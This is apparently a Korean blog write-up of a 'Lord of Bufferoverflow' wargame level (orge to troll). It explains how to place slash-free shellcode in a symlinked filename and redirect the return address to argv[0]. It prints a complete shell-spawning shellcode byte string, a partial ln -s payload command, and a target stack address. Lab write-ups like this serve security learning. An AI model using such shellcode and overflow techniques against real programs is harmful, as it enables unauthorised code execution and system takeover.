ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • |Lord Of Bufferoverflow| #8 orge - troll
    Wargame Site/BOF 2019. 5. 20. 16:05

     

    이번에는 인자가 두 개여야 한다는 점과 argv[1] 을 아예 밀어버리는 코드가 추가되었다.

    여기서 잠깐, buffer 에는 앞의 40 바이트를 제외하고 그대로 남아 있다는 것을 명심해야한다.

    SFP , RET 는 그대로 남아 있다는 것이다.

    그렇다면, #7 에서 해결했던 방식으로 접근하면 어떻게 될까?

     

    파일이름에 shell code 를 집어넣고, argv[0] 자리로 RET 를 돌려준다면? 문제가 해결될 것이다.

     

    하지만, 여기서 주의해야할 사항이 있다.

    파일이름으로는 \x2F 가 들어가면 안된다는 점이다.

     

    \x31\xc0\x50\x68\x2f\x2f...

    기존에 사용하던 Shell code 는 다음과 같이 \x2F ('/') 이 포함되어 있기 때문에 링크를 생성할 수 없다.

     

     

    \xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81

     

    이 Shell code 의 원리를 보니 2F 라는 것을 2E + 1 과 같은 형태로 맞춘 형태였다.

    따라서 위의 코드를 통해 심볼릭 링크를 생성해준 뒤, 쉘코드 쪽으로 RET 만 돌려주면 해결되는 것이다.

     

     

    trola 를 통해 심볼링 링크 파일을 생성했다.

    ln -s trola `python -c 'print "A"*10 + "\xeb\x11\x5e...."

    앞에 A 를 10개로 지정한 이유는 실행할 때 A [tab] 을 해서 사용하기 위함이다.

     

     

     

    core dump analysis 를 사용한다 이번에도 ^^ 묘하게 맥주가 먹고싶어지는 그림이다.

    어허 제대로 들어간 것을 확인했다 이제는 2F 가 들어있지 않은 코드 쪽을 지칭해주자.

     

    이제 bf 부분을 원하는 shellcode 위치로 돌려주기만 하면 문제가 해결된다.

     

    다음 분석을 통해 Shell code 의 시작은 0xbffffd6d 라는 것을 알 수 있다.

     

     

    짜잔! 이제 troll 파일에 똑같이 해주면 끝~

     

     

    Clear 가 된 것을 볼 수 있다.

    댓글

Designed by Tistory.